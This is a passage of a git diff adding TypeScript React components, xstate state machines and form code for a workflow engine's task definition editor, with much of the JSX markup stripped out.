theme.palette.error.main, + color: colors.white, + "&:first-of-type": { + borderTopLeftRadius: 0, + borderTopRightRadius: 0, + }, + "&.Mui-expanded": { + margin: 0, + }, + }} + > + } + aria-controls="panel1a-content" + id="panel1a-header" + sx={{ + "&.Mui-expanded": { + minHeight: 48, + }, + ".MuiAccordionSummary-content": { + margin: 0, + "&.Mui-expanded": { + margin: 0, + }, + }, + }} + > + + {title ? `${title} ` : ""}Errors ({errorKeys.length}) + + + + + {errorKeys.map((key) => ( + + + {key} + + :  + + {error[key]?.message} + + + ))} + + + + ); +}; + +export default TaskDefErrorInspector; diff --git a/ui-next/src/pages/definition/task/TaskDefinition.tsx b/ui-next/src/pages/definition/task/TaskDefinition.tsx new file mode 100644 index 0000000..b8c7c48 --- /dev/null +++ b/ui-next/src/pages/definition/task/TaskDefinition.tsx @@ -0,0 +1,295 @@ +import { Monaco } from "@monaco-editor/react"; +import { + Box, + CircularProgress, + LinearProgress, + Paper, + Tab, + Tabs, + Theme, +} from "@mui/material"; +import { useMachine } from "@xstate/react"; +import { DocLink } from "components/ui/DocLink"; +import { MessageContext } from "components/providers/messageContext"; +import { ConductorSectionHeader } from "components/layout/section/ConductorSectionHeader"; +import _get from "lodash/get"; +import _isString from "lodash/isString"; +import TaskDefinitionDialogs from "pages/definition/task/dialogs/TaskDefinitionDialogs"; +import TaskDefinitionFormV1 from "pages/definition/task/form/TaskDefinitionForm"; +import { taskDefinitionMachine } from "pages/definition/task/state"; +import { useTaskDefinition } from "pages/definition/task/state/hook"; +import { + TaskDefinitionMachineEventType, + TaskDefinitionMachineState, +} from "pages/definition/task/state/types"; +import { useContext, useEffect, useMemo, useRef } from "react"; +import { Helmet } from "react-helmet"; +import { useLocation, useParams } from "react-router"; +import SectionContainer from "components/ui/layout/SectionContainer"; +import { useAuth } from "components/features/auth"; +import { newTaskTemplate } from "templates/JSONSchemaWorkflow"; +import { colors } from "theme/tokens/variables"; +import { TaskDefinitionDto } from "types"; +import { DOC_LINK_URL } from "utils/constants/docLink"; +import { NEW_TASK_DEF_URL, TASK_DEF_URL } from "utils/constants/route"; +import { usePushHistory } from "utils/hooks/usePushHistory"; +import { useAuthHeaders } from "utils/query"; +import { randomChars } from "utils/strings"; +import { SaveProtectionPrompt } from "./SaveProtectionPrompt"; +import TaskDefinitionButtons from "./TaskDefinitionButtons"; +import TaskDefinitionDiffEditor from "./TaskDefinitionDiffEditor"; +import { TASK_DEFINITION_SAVED_SUCCESSFULLY_MESSAGE } from "./state/helpers"; + +// TODO: Should refactor this when we apply dark mode +// The dark mode styles should be configured in theme +const getBackgroundColorOfForm = ({ + theme, + isInFormView, +}: { + theme: Theme; + isInFormView: boolean; +}) => { + if (isInFormView) { + return colors.white; + } + + if (theme.palette?.mode === "dark") { + return colors.gray00; + } + + return colors.gray14; +}; + +/** + * NOTE: + * 1. Single mode: After POST successfully will redirect to task detail page + * 2. Bulk mode or Save and Create New: Stay at the same page with current state + * 3. Test task: execute a workflow with current task + * 4. Form mode doesn't have bulk creation + */ +export default function TaskDefinition() { + const pushHistory = usePushHistory(); + const { setMessage } = useContext(MessageContext); + + const { conductorUser } = useAuth(); + const authHeaders = useAuthHeaders(); + const editorRefs = useRef(null); + const location = useLocation(); + const params = useParams(); + // Memoize isNewTaskDef to prevent unnecessary re-renders when location changes but pathname stays the same + const isNewTaskDef = useMemo( + () => location.pathname === NEW_TASK_DEF_URL, + [location.pathname], + ); + + // Stabilize params to prevent unnecessary re-renders + // Only re-compute when the actual param values change, not when the params object reference changes + const paramName = _get(params, "name"); + const stableParams = useMemo(() => { + return { name: paramName }; + }, [paramName]); + + // Defines a Template and puts the name of the url. + const initTaskDefinition = useMemo( + () => ({ + ...newTaskTemplate(conductorUser?.id || "example@email.com"), + name: isNewTaskDef ? `task-${randomChars(6)}` : stableParams.name, + }), + [stableParams.name, isNewTaskDef, conductorUser?.id], + ) as Partial; + + const taskJsonString = JSON.stringify(initTaskDefinition, null, 2); + // Create Task state machine + const [current, , taskDefActor] = useMachine(taskDefinitionMachine, { + ...(process.env.NODE_ENV === "development" ? { devTools: true } : {}), + context: { + originTaskDefinitionString: taskJsonString, // Not necessary + modifiedTaskDefinitionString: taskJsonString, // Not necessary + originTaskDefinition: initTaskDefinition, + modifiedTaskDefinition: initTaskDefinition, + originTaskDefinitions: [initTaskDefinition], + isNewTaskDef, + user: conductorUser, + authHeaders, + couldNotParseJson: false, + }, + actions: { + redirectToNewTask: () => { + pushHistory(NEW_TASK_DEF_URL); + }, + redirectToEditTask: ({ modifiedTaskDefinition }) => { + pushHistory( + `${TASK_DEF_URL.BASE}/${encodeURIComponent( + modifiedTaskDefinition.name as string, + )}`, + ); + }, + redirectToTaskList: () => { + pushHistory(TASK_DEF_URL.BASE); + }, + setErrorMessage: (__, data: any) => { + setMessage({ + text: data?.data?.message, + severity: "error", + }); + }, + showSaveSuccessMessage: () => { + setMessage({ + text: TASK_DEFINITION_SAVED_SUCCESSFULLY_MESSAGE, + severity: "success", + }); + }, + }, + }); + + const [ + { + formActor, + isFetching, + modifiedTaskDefinition, + couldNotParseJson, + isReady, + }, + { toggleFormMode }, + ] = useTaskDefinition(taskDefActor); + + const isInFormView = + current.matches([ + TaskDefinitionMachineState.READY, + TaskDefinitionMachineState.MAIN_CONTAINER, + TaskDefinitionMachineState.FORM, + ]) && formActor; + + useEffect(() => { + const name = stableParams.name; + if (!isNewTaskDef && name != null) { + taskDefActor.send({ + type: TaskDefinitionMachineEventType.SET_TASK_DEFINITION, + name, + isNew: isNewTaskDef, + }); + } + }, [stableParams.name, isNewTaskDef, taskDefActor]); + + const sectionTitle = useMemo(() => { + if (isNewTaskDef) return "New Task"; + + if (_isString(modifiedTaskDefinition?.name)) { + return modifiedTaskDefinition?.name; + } + + return ""; + }, [isNewTaskDef, modifiedTaskDefinition]); + + return ( + + + + Task Definition -  + {isNewTaskDef + ? "NEW" + : _isString(modifiedTaskDefinition?.name) + ? modifiedTaskDefinition?.name + : ""} + + + + + + } + /> + } + > + {isFetching && } + + + {isReady ? ( + <> + + + toggleFormMode(!!newValue) + } + > + + + + + + + + theme.palette?.mode === "dark" + ? colors.gray14 + : undefined, + backgroundColor: (theme) => + getBackgroundColorOfForm({ + theme, + isInFormView, + }), + }} + > + {isInFormView ? ( + + ) : null} + {current.matches([ + TaskDefinitionMachineState.READY, + TaskDefinitionMachineState.MAIN_CONTAINER, + TaskDefinitionMachineState.DIFF_EDITOR, + ]) || + current.matches([ + TaskDefinitionMachineState.READY, + TaskDefinitionMachineState.MAIN_CONTAINER, + TaskDefinitionMachineState.EDITOR, + ]) ? ( + + ) : null} + + + ) : ( + + + + )} + + + + + ); +} diff --git a/ui-next/src/pages/definition/task/TaskDefinitionButtons.tsx b/ui-next/src/pages/definition/task/TaskDefinitionButtons.tsx new file mode 100644 index 0000000..2f08e68 --- /dev/null +++ b/ui-next/src/pages/definition/task/TaskDefinitionButtons.tsx @@ -0,0 +1,275 @@ +import { Box, Stack, Tooltip } from "@mui/material"; +import { useSelector } from "@xstate/react"; +import Button, { MuiButtonProps } from "components/ui/buttons/MuiButton"; +import SplitButton from "components/ui/buttons/ConductorSplitButton"; +import DownloadIcon from "components/icons/DownloadIcon"; +import ResetIcon from "components/icons/ResetIcon"; +import SaveIcon from "components/icons/SaveIcon"; +import TrashIcon from "components/icons/TrashIcon"; +import XCloseIcon from "components/icons/XCloseIcon"; +import fastDeepEqual from "fast-deep-equal"; +import { TaskDefinitionFormMachineEvent } from "pages/definition/task/form/state/types"; +import { TASK_FORM_MACHINE_ID } from "pages/definition/task/state/helpers"; +import { useTaskDefinition } from "pages/definition/task/state/hook"; +import { + TaskDefinitionButtonsProps, + TaskDefinitionMachineEvent, + TaskDefinitionMachineState, +} from "pages/definition/task/state/types"; +import { FunctionComponent, useMemo } from "react"; +import { useAuth } from "components/features/auth"; +import { colors } from "theme/tokens/variables"; +import { ActorRef } from "xstate"; +import { OpenTestTaskButton } from "../EditorPanel/TaskFormTab/forms/TestTaskButton/OpenTestTaskButton"; + +// Hoc to get around state for buttons +const withFormState = + ( + ButtonComponent: FunctionComponent, + actor: ActorRef, + isTrialExpired: boolean, + ) => + (buttonProps: MuiButtonProps) => { + const [modifiedTaskDefinition, originTaskDefinition, isNewTaskDef] = + useSelector(actor, (state) => [ + state.context.modifiedTaskDefinition, + state.context.originTaskDefinition, + state.context.isNewTaskDef, + ]); + const noChanges = useMemo( + () => fastDeepEqual(modifiedTaskDefinition, originTaskDefinition), + [modifiedTaskDefinition, originTaskDefinition], + ); + const isReset = buttonProps?.role === "reset"; + const resetDisabledConditions = noChanges; + const saveDisabledConditions = + (!isNewTaskDef && noChanges) || isTrialExpired; + const noDescription = !(modifiedTaskDefinition.description ?? "").trim(); + + return ( + + ); + }; + +const withEditorState = + ( + ButtonComponent: FunctionComponent, + actor: ActorRef, + isTrialExpired: boolean, + ) => + (buttonProps: MuiButtonProps) => { + const [ + modifiedTaskDefinition, + originTaskDefinition, + isNewTaskDef, + jsonInvalid, + ] = useSelector(actor, (state) => [ + state.context.modifiedTaskDefinition, + state.context.originTaskDefinition, + state.context.isNewTaskDef, + state.context.couldNotParseJson, + ]); + const noChanges = useMemo( + () => fastDeepEqual(modifiedTaskDefinition, originTaskDefinition), + [modifiedTaskDefinition, originTaskDefinition], + ); + + const isReset = buttonProps?.role === "reset"; + const resetDisabledConditions = noChanges; + const saveDisabledConditions = + jsonInvalid || (!isNewTaskDef && noChanges) || isTrialExpired; + const noDescription = !(modifiedTaskDefinition.description ?? "").trim(); + + return ( + + ); + }; + +const TaskDefinitionButtons = ({ + taskDefActor, +}: TaskDefinitionButtonsProps) => { + const [ + { + isContinueCreate, + isNewTaskDef, + saveConfirmationOpen, + couldNotParseJson, + modifiedTaskDefinition, + }, + { + cancelConfirmSave, + handleDownloadFile, + saveTaskDefinition, + setDeleteConfirmationOpen, + setResetConfirmationOpen, + setSaveConfirmationOpen, + }, + ] = useTaskDefinition(taskDefActor); + + const { isTrialExpired } = useAuth(); + + const isInForm = useSelector(taskDefActor, (state) => + state.matches([ + TaskDefinitionMachineState.READY, + TaskDefinitionMachineState.MAIN_CONTAINER, + TaskDefinitionMachineState.FORM, + ]), + ); + + // @ts-ignore + const formActor = taskDefActor?.children?.get(TASK_FORM_MACHINE_ID); + + const SaveResetButton = + isInForm && formActor + ? withFormState(Button, formActor, isTrialExpired) + : withEditorState(Button, taskDefActor, isTrialExpired); + + const saveSplitButtonOptions = [ + { + id: "task-save-and-create-new-btn", + label: "Save & Create New", + onClick: () => setSaveConfirmationOpen(true), + }, + ]; + + const suffix = Math.random().toString(36).substring(2, 5); + const taskDefinition = { + name: modifiedTaskDefinition?.name, + taskReferenceName: `test_task_${modifiedTaskDefinition?.name}_${suffix}`, + type: "SIMPLE", + inputParameters: {}, + }; + + return ( + + theme.palette?.mode === "dark" ? colors.gray14 : undefined, + backgroundColor: (theme) => + theme.palette?.mode === "dark" ? colors.gray00 : colors.gray14, + }} + > + + theme.palette?.mode === "dark" ? colors.gray03 : colors.gray12, + }} + > + {saveConfirmationOpen ? ( + + + + + ) : ( + + {!isNewTaskDef && ( + + + + )} + + } + > + Reset + + + + + + + + {isNewTaskDef ? ( + } + id="task-save-btn" + options={saveSplitButtonOptions} + primaryOnClick={() => setSaveConfirmationOpen(false)} + tooltip="Save this definition" + data-testid="task-definition-save-button" + disabled={isTrialExpired} + > + Save + + ) : ( + setSaveConfirmationOpen(false)} + startIcon={} + > + Save + + )} + + )} + + + ); +}; +export default TaskDefinitionButtons; diff --git a/ui-next/src/pages/definition/task/TaskDefinitionDiffEditor.tsx b/ui-next/src/pages/definition/task/TaskDefinitionDiffEditor.tsx new file mode 100644 index 0000000..6602458 --- /dev/null +++ b/ui-next/src/pages/definition/task/TaskDefinitionDiffEditor.tsx @@ -0,0 +1,141 @@ +import Editor, { Monaco } from "@monaco-editor/react"; +import { Box } from "@mui/material"; +import { DiffEditor } from "components/ui/DiffEditor"; +import { useTaskDefinition } from "pages/definition/task/state/hook"; +import { TaskDefinitionDiffEditorProps } from "pages/definition/task/state/types"; +import { + ForwardedRef, + forwardRef, + useCallback, + useContext, + useImperativeHandle, + useRef, +} from "react"; +import { defaultEditorOptions } from "shared/editor"; +import { ColorModeContext } from "theme/material/ColorModeContext"; +import { + configureMonaco, + JSON_FILE_TASK_NAME, +} from "utils/monacoUtils/CodeEditorUtils"; + +const minEditor_Width = 590; +const TaskDefinitionDiffEditor = ( + { taskDefActor }: TaskDefinitionDiffEditorProps, + editorRefs: ForwardedRef, +) => { + const { mode } = useContext(ColorModeContext); + const monacoObjects = useRef(null); + const diffMonacoObjects = useRef(null); + const [ + { + isNewTaskDef, + modifiedTaskDefinitionString, + originTaskDefinitionString, + isConfirmingSave, + }, + { handleChangeTaskDefinition }, + ] = useTaskDefinition(taskDefActor); + + // const errorKeys = error ? Object.keys(error) : []; + useImperativeHandle( + editorRefs, + () => ({ + reset: (value: string) => { + monacoObjects.current.setValue(value); + diffMonacoObjects.current.getModel().modified.setValue(value); + }, + getValue: () => { + return monacoObjects.current.getValue(); + }, + code: monacoObjects.current, + diff: diffMonacoObjects.current, + }), + [monacoObjects, diffMonacoObjects], + ); + const darkMode = mode === "dark"; + const editorTheme = darkMode ? "vs-dark" : "vs-light"; + const editorState = { + editorOptions: { + ...defaultEditorOptions, + selectOnLineNumbers: true, + }, + } as Monaco; + const editorDidMount = useCallback( + (editor: Monaco) => { + monacoObjects.current = editor; + }, + [monacoObjects], + ); + const diffEditorDidMount = useCallback( + (editor: Monaco) => { + diffMonacoObjects.current = editor; + const modifiedEditor = editor.getModifiedEditor(); + modifiedEditor.onDidChangeModelContent((_: any) => { + const maybeText = modifiedEditor.getValue(); + if (typeof maybeText === "string") { + handleChangeTaskDefinition(maybeText); + } + }); + }, + [diffMonacoObjects, handleChangeTaskDefinition], + ); + const handleEditorWillMount = useCallback((monaco: Monaco) => { + configureMonaco(monaco); + }, []); + + return ( + <> + + + {isConfirmingSave ? ( + + ) : ( + { + if (typeof maybeText === "string") { + handleChangeTaskDefinition(maybeText); + } + }} + path={JSON_FILE_TASK_NAME} + /> + )} + + + + ); +}; +export default forwardRef(TaskDefinitionDiffEditor); diff --git a/ui-next/src/pages/definition/task/TestTaskForm.tsx b/ui-next/src/pages/definition/task/TestTaskForm.tsx new file mode 100644 index 0000000..74da249 --- /dev/null +++ b/ui-next/src/pages/definition/task/TestTaskForm.tsx @@ -0,0 +1,105 @@ +import { Box, Grid, Link } from "@mui/material"; +import { Button } from "components/index"; +import { Play } from "@phosphor-icons/react"; +import MuiTypography from "components/ui/MuiTypography"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import { WORKFLOW_EXECUTION_URL } from "utils/constants/route"; +import { ConductorCodeBlockInput } from "components/ui/inputs/ConductorCodeBlockInput"; + +export type TestTaskFormProps = { + handleRunTestTask: () => void; + isNewTaskDef: boolean; + setInputParameters: (value: string) => void; + setTaskDomain: (value: string) => void; + showTestTask: boolean; + testInputParameters: string; + testTaskDomain: string; + testTaskWorkflowId: string; +}; + +const TestTaskForm = ({ + handleRunTestTask, + isNewTaskDef, + setInputParameters, + setTaskDomain, + showTestTask, + testInputParameters, + testTaskDomain, + testTaskWorkflowId, +}: TestTaskFormProps) => { + return !isNewTaskDef && showTestTask ? ( + + { + <> + + { + setInputParameters(value); + }} + /> + + + setTaskDomain(event.target.value)} + placeholder="Enter domain" + /> + + + + + {testTaskWorkflowId ? ( + + Workflow started at: + + + {testTaskWorkflowId} + + + + ) : null} + + + + } + + ) : null; +}; + +export default TestTaskForm; diff --git a/ui-next/src/pages/definition/task/dialogs/TaskDefinitionDialogs.tsx b/ui-next/src/pages/definition/task/dialogs/TaskDefinitionDialogs.tsx new file mode 100644 index 0000000..e002b88 --- /dev/null +++ b/ui-next/src/pages/definition/task/dialogs/TaskDefinitionDialogs.tsx @@ -0,0 +1,79 @@ +import { useSelector } from "@xstate/react"; +import ConfirmChoiceDialog from "components/ui/dialogs/ConfirmChoiceDialog"; +import { TaskDefinitionDialogsProps } from "pages/definition/task/dialogs/state"; +import { + TaskDefinitionMachineState, + TaskDefinitionMachineEventType, +} from "pages/definition/task/state/types"; +// +const TaskDefinitionDialogs = ({ + taskDefActor, +}: TaskDefinitionDialogsProps) => { + const isConfirmReset = useSelector(taskDefActor, (state) => + state.matches([ + TaskDefinitionMachineState.READY, + TaskDefinitionMachineState.RESET_FORM, + TaskDefinitionMachineState.RESET_FORM_CONFIRM, + ]), + ); + + const isConfirmDelete = useSelector(taskDefActor, (state) => + state.matches([ + TaskDefinitionMachineState.READY, + TaskDefinitionMachineState.DELETE_FORM, + TaskDefinitionMachineState.DELETE_FORM_CONFIRM, + ]), + ); + + const originTaskDefinition = useSelector( + taskDefActor, + (state) => state.context.originTaskDefinition, + ); + + const handleResetConfirmation = (val: boolean) => { + taskDefActor.send({ + type: val + ? TaskDefinitionMachineEventType.CONFIRM_RESET_TASK + : TaskDefinitionMachineEventType.CANCEL_CONFIRM_SAVE, + }); + }; + + return ( + <> + {isConfirmReset ? ( + + ) : null} + + {isConfirmDelete && ( + + Are you sure you want to delete  + + {originTaskDefinition?.name} + +  task definition? This change cannot be undone. +
      + Please type  + {originTaskDefinition?.name} +  to confirm. +
      + + } + header={"Deletion Confirmation"} + isInputConfirmation + valueToBeDeleted={originTaskDefinition?.name} + /> + )} + + ); +}; + +export default TaskDefinitionDialogs; diff --git a/ui-next/src/pages/definition/task/dialogs/state/actions.ts b/ui-next/src/pages/definition/task/dialogs/state/actions.ts new file mode 100644 index 0000000..c86ab35 --- /dev/null +++ b/ui-next/src/pages/definition/task/dialogs/state/actions.ts @@ -0,0 +1,14 @@ +import { sendParent } from "xstate"; +import { TaskDefinitionDialogsMachineType } from "pages/definition/task/dialogs/state/types"; + +export const notifyResetTask = sendParent({ + type: TaskDefinitionDialogsMachineType.CONFIRM_RESET_TASK, +}); + +export const notifyDeleteTask = sendParent({ + type: TaskDefinitionDialogsMachineType.CONFIRM_DELETE_TASK, +}); + +export const notifyGoToDefineNewTask = sendParent({ + type: TaskDefinitionDialogsMachineType.CONFIRM_GO_TO_DEFINE_NEW_TASK, +}); diff --git a/ui-next/src/pages/definition/task/dialogs/state/guards.ts b/ui-next/src/pages/definition/task/dialogs/state/guards.ts new file mode 100644 index 0000000..199f89b --- /dev/null +++ b/ui-next/src/pages/definition/task/dialogs/state/guards.ts @@ -0,0 +1,16 @@ +import { + HandleDefineNewConfirmationEvent, + HandleDeleteTaskDefConfirmationEvent, + HandleResetConfirmationEvent, + TaskDefinitionDialogsContext, +} from "pages/definition/task/dialogs/state/types"; + +export const isConfirm = ( + _: TaskDefinitionDialogsContext, + event: + | HandleDefineNewConfirmationEvent + | HandleDeleteTaskDefConfirmationEvent + | HandleResetConfirmationEvent, +) => { + return event.isConfirm; +}; diff --git a/ui-next/src/pages/definition/task/dialogs/state/hook.ts b/ui-next/src/pages/definition/task/dialogs/state/hook.ts new file mode 100644 index 0000000..7d1e18d --- /dev/null +++ b/ui-next/src/pages/definition/task/dialogs/state/hook.ts @@ -0,0 +1,61 @@ +import { ActorRef } from "xstate"; +import { + TaskDefinitionDialogsMachineEvent, + TaskDefinitionDialogsMachineType, +} from "pages/definition/task/dialogs/state/types"; +import { useActor } from "@xstate/react"; + +export const useTaskDefinitionDialogs = ( + actor: ActorRef, +) => { + const [state, send] = useActor(actor); + + const confirmationDialogResetOpen = state.matches( + "confirmationDialogResetOpen", + ); + + const confirmationDialogDefineNewOpen = state.matches( + "confirmationDialogDefineNewOpen", + ); + + const confirmationDialogDeleteOpen = state.matches( + "confirmationDialogDeleteOpen", + ); + + const modifiedTaskDefinition = state.context.modifiedTaskDefinition; + + const handleResetConfirmation = (isConfirm: boolean) => { + send({ + type: TaskDefinitionDialogsMachineType.HANDLE_RESET_CONFIRMATION, + isConfirm, + }); + }; + + const handleDefineNewConfirmation = (isConfirm: boolean) => { + send({ + type: TaskDefinitionDialogsMachineType.HANDLE_DEFINE_NEW_CONFIRMATION, + isConfirm, + }); + }; + + const handleDeleteTaskDefConfirmation = (isConfirm: boolean) => { + send({ + type: TaskDefinitionDialogsMachineType.HANDLE_DELETE_TASK_DEF_CONFIRMATION, + isConfirm, + }); + }; + + return [ + { + confirmationDialogDefineNewOpen, + confirmationDialogDeleteOpen, + confirmationDialogResetOpen, + modifiedTaskDefinition, + }, + { + handleDefineNewConfirmation, + handleDeleteTaskDefConfirmation, + handleResetConfirmation, + }, + ] as const; +}; diff --git a/ui-next/src/pages/definition/task/dialogs/state/index.ts b/ui-next/src/pages/definition/task/dialogs/state/index.ts new file mode 100644 index 0000000..8362004 --- /dev/null +++ b/ui-next/src/pages/definition/task/dialogs/state/index.ts @@ -0,0 +1,3 @@ +export * from "./actions"; +export * from "./machine"; +export * from "./types"; diff --git a/ui-next/src/pages/definition/task/dialogs/state/machine.ts b/ui-next/src/pages/definition/task/dialogs/state/machine.ts new file mode 100644 index 0000000..c720200 --- /dev/null +++ b/ui-next/src/pages/definition/task/dialogs/state/machine.ts @@ -0,0 +1,96 @@ +import { createMachine } from "xstate"; +import * as customActions from "./actions"; +import * as guards from "./guards"; +import { TaskDefinitionDto } from "types"; +import { TASK_DIALOGS_MACHINE_ID } from "pages/definition/task/state/helpers"; +import { + TaskDefinitionDialogsContext, + TaskDefinitionDialogsMachineEvent, + TaskDefinitionDialogsMachineType, +} from "pages/definition/task/dialogs/state/types"; + +export const taskDefinitionDialogsMachine = createMachine< + TaskDefinitionDialogsContext, + TaskDefinitionDialogsMachineEvent +>( + { + id: TASK_DIALOGS_MACHINE_ID, + predictableActionArguments: true, + initial: "idle", + context: { + modifiedTaskDefinition: {} as TaskDefinitionDto, + originTaskDefinition: {} as TaskDefinitionDto, + }, + on: { + [TaskDefinitionDialogsMachineType.SET_DEFINE_NEW_TASK_OPEN]: [ + { + target: "confirmationDialogDefineNewOpen", + }, + ], + [TaskDefinitionDialogsMachineType.SET_RESET_CONFIRMATION_OPEN]: [ + { + target: "confirmationDialogResetOpen", + }, + ], + [TaskDefinitionDialogsMachineType.SET_DELETE_CONFIRMATION_OPEN]: [ + { + target: "confirmationDialogDeleteOpen", + }, + ], + }, + states: { + idle: {}, + confirmationDialogDefineNewOpen: { + on: { + [TaskDefinitionDialogsMachineType.HANDLE_DEFINE_NEW_CONFIRMATION]: [ + { + cond: "isConfirm", + actions: ["notifyGoToDefineNewTask"], + target: `#${TASK_DIALOGS_MACHINE_ID}.finish`, + }, + { + target: `#${TASK_DIALOGS_MACHINE_ID}.finish`, + }, + ], + }, + }, + confirmationDialogResetOpen: { + on: { + [TaskDefinitionDialogsMachineType.HANDLE_RESET_CONFIRMATION]: [ + { + cond: "isConfirm", + actions: ["notifyResetTask"], + target: `#${TASK_DIALOGS_MACHINE_ID}.finish`, + }, + { + target: `#${TASK_DIALOGS_MACHINE_ID}.finish`, + }, + ], + }, + }, + confirmationDialogDeleteOpen: { + on: { + [TaskDefinitionDialogsMachineType.HANDLE_DELETE_TASK_DEF_CONFIRMATION]: + [ + { + cond: "isConfirm", + actions: ["notifyDeleteTask"], + target: `#${TASK_DIALOGS_MACHINE_ID}.finish`, + }, + { + target: `#${TASK_DIALOGS_MACHINE_ID}.finish`, + }, + ], + }, + }, + finish: { + type: "final", + data: (_, event) => ({ event }), + }, + }, + }, + { + actions: customActions as any, + guards: guards as any, + }, +); diff --git a/ui-next/src/pages/definition/task/dialogs/state/types.ts b/ui-next/src/pages/definition/task/dialogs/state/types.ts new file mode 100644 index 0000000..ad77489 --- /dev/null +++ b/ui-next/src/pages/definition/task/dialogs/state/types.ts @@ -0,0 +1,81 @@ +import { ActorRef } from "xstate"; +import { TaskDefinitionMachineEvent } from "pages/definition/task/state"; +import { TaskDefinitionDto } from "types/TaskDefinition"; + +export enum TaskDefinitionDialogsMachineType { + HANDLE_DEFINE_NEW_CONFIRMATION = "HANDLE_DEFINE_NEW_CONFIRMATION", + HANDLE_DELETE_TASK_DEF_CONFIRMATION = "HANDLE_DELETE_TASK_DEF_CONFIRMATION", + HANDLE_RESET_CONFIRMATION = "HANDLE_RESET_CONFIRMATION", + SET_DEFINE_NEW_TASK_OPEN = "SET_DEFINE_NEW_TASK_OPEN", + SET_DELETE_CONFIRMATION_OPEN = "SET_DELETE_CONFIRMATION_OPEN", + SET_RESET_CONFIRMATION_OPEN = "SET_RESET_CONFIRMATION_OPEN", + CONFIRM_DELETE_TASK = "CONFIRM_DELETE_TASK", + CONFIRM_GO_TO_DEFINE_NEW_TASK = "CONFIRM_GO_TO_DEFINE_NEW_TASK", + CONFIRM_RESET_TASK = "CONFIRM_RESET_TASK", +} + +export interface TaskDefinitionDialogsContext { + modifiedTaskDefinition: TaskDefinitionDto; + originTaskDefinition: TaskDefinitionDto; +} + +export type SetDefineNewTaskOpenEvent = { + type: TaskDefinitionDialogsMachineType.SET_DEFINE_NEW_TASK_OPEN; +}; + +export type SetDeleteConfirmationOpenEvent = { + type: TaskDefinitionDialogsMachineType.SET_DELETE_CONFIRMATION_OPEN; +}; + +export type SetResetConfirmationOpenEvent = { + type: TaskDefinitionDialogsMachineType.SET_RESET_CONFIRMATION_OPEN; +}; + +export type HandleResetConfirmationEvent = { + type: TaskDefinitionDialogsMachineType.HANDLE_RESET_CONFIRMATION; + isConfirm: boolean; +}; + +export type HandleDefineNewConfirmationEvent = { + type: TaskDefinitionDialogsMachineType.HANDLE_DEFINE_NEW_CONFIRMATION; + isConfirm: boolean; +}; + +export type HandleDeleteTaskDefConfirmationEvent = { + type: TaskDefinitionDialogsMachineType.HANDLE_DELETE_TASK_DEF_CONFIRMATION; + isConfirm: boolean; +}; + +export type ConfirmDeleteTaskEvent = { + type: TaskDefinitionDialogsMachineType.CONFIRM_DELETE_TASK; +}; + +export type ConfirmGoToDefineNewTask = { + type: TaskDefinitionDialogsMachineType.CONFIRM_GO_TO_DEFINE_NEW_TASK; +}; + +export type ConfirmResetTaskEvent = { + type: TaskDefinitionDialogsMachineType.CONFIRM_RESET_TASK; +}; + +export type TaskDefinitionDialogsMachineEvent = + | ConfirmDeleteTaskEvent + | ConfirmGoToDefineNewTask + | ConfirmResetTaskEvent + | HandleDefineNewConfirmationEvent + | HandleDeleteTaskDefConfirmationEvent + | HandleResetConfirmationEvent + | SetDefineNewTaskOpenEvent + | SetDeleteConfirmationOpenEvent + | SetResetConfirmationOpenEvent; + +export interface TaskDefinitionDialogsProps { + taskDefActor: ActorRef; +} + +export interface TaskDefinitionDialogsFinalContext { + event: + | HandleDefineNewConfirmationEvent + | HandleDeleteTaskDefConfirmationEvent + | HandleResetConfirmationEvent; +} diff --git a/ui-next/src/pages/definition/task/form/TaskDefinitionForm.tsx b/ui-next/src/pages/definition/task/form/TaskDefinitionForm.tsx new file mode 100644 index 0000000..359d343 --- /dev/null +++ b/ui-next/src/pages/definition/task/form/TaskDefinitionForm.tsx @@ -0,0 +1,583 @@ +import { + Box, + FormControlLabel, + Grid, + GridProps, + Link, + Switch, +} from "@mui/material"; +import MuiTypography from "components/ui/MuiTypography"; +import { ConductorArrayFieldBase } from "components/ui/inputs/ConductorArrayField"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import ConductorInputNumber from "components/ui/inputs/ConductorInputNumber"; +import ConductorSelect from "components/ui/inputs/ConductorSelect"; +import { ConductorFlatMapFormBase } from "components/FlatMapForm/ConductorFlatMapForm"; +import _ from "lodash"; +import _isArray from "lodash/isArray"; +import { useTaskDefinitionFormActor } from "pages/definition/task/form/state/hook"; +import { + TaskDefinitionFormProps, + TaskRetryLogic, + TaskRetryLogicLabel, + TaskTimeoutPolicy, + TaskTimeoutPolicyLabel, +} from "pages/definition/task/state"; +import { ConductorNameVersionField } from "components/inputs/ConductorNameVersionField"; +import { SchemaDefinition } from "types/SchemaDefinition"; +import { handleValidChars } from "utils"; +import { TASK_NAME_REGEX, regexToString } from "utils/constants/regex"; + +const gridContainerItemProps: GridProps = { + container: true, + size: { + xs: 12, + sm: 12, + md: 6, + }, + spacing: 3, + width: "100%", +}; + +const forceToArrayIfWrongType = (val: any) => (_isArray(val) ? val : []); + +const TaskDefinitionForm = ({ formActor }: TaskDefinitionFormProps) => { + const [ + { modifiedTaskDefinition, error }, + { handleChangeTaskForm, handleChangeParameters, handleChangeInputForm }, + ] = useTaskDefinitionFormActor(formActor); + + const isLinearBackoff = + modifiedTaskDefinition.retryLogic === TaskRetryLogic.LINEAR_BACKOFF; + const isBackoff = + modifiedTaskDefinition.retryLogic === TaskRetryLogic.EXPONENTIAL_BACKOFF || + isLinearBackoff; + + return ( + + + + + + + Basic settings + + + + handleChangeInputForm("name", value), + regexToString(TASK_NAME_REGEX), + )} + value={modifiedTaskDefinition.name} + error={!!error?.name} + helperText={error?.name?.message} + id="task-name-field" + placeholder="Enter task name" + /> + + + + handleChangeInputForm("description", value) + } + value={modifiedTaskDefinition.description} + error={ + !!error?.description || !modifiedTaskDefinition.description + } + helperText={error?.description?.message} + required + autoFocus + placeholder="Enter description" + sx={{ + "& .MuiInputBase-root": { + alignItems: "flex-start", + }, + }} + /> + + + + + + + + + + + Rate limit settings + + + + + + + + + + + + + + + + + + + Retry settings + + + + + + + + + + + handleChangeTaskForm(event.target.value, event) + } + value={modifiedTaskDefinition.retryLogic} + tooltip={{ + title: "Retry policy", + content: "The mechanism for retries.", + }} + items={Object.values(TaskRetryLogic).map((value) => ({ + label: TaskRetryLogicLabel[value], + value, + }))} + /> + + + + + + + + + Timeout settings + + + + + + + + + + + + + + handleChangeTaskForm(event.target.value, event) + } + value={modifiedTaskDefinition.timeoutPolicy} + fullWidth + tooltip={{ + title: "Timeout policy", + content: "The 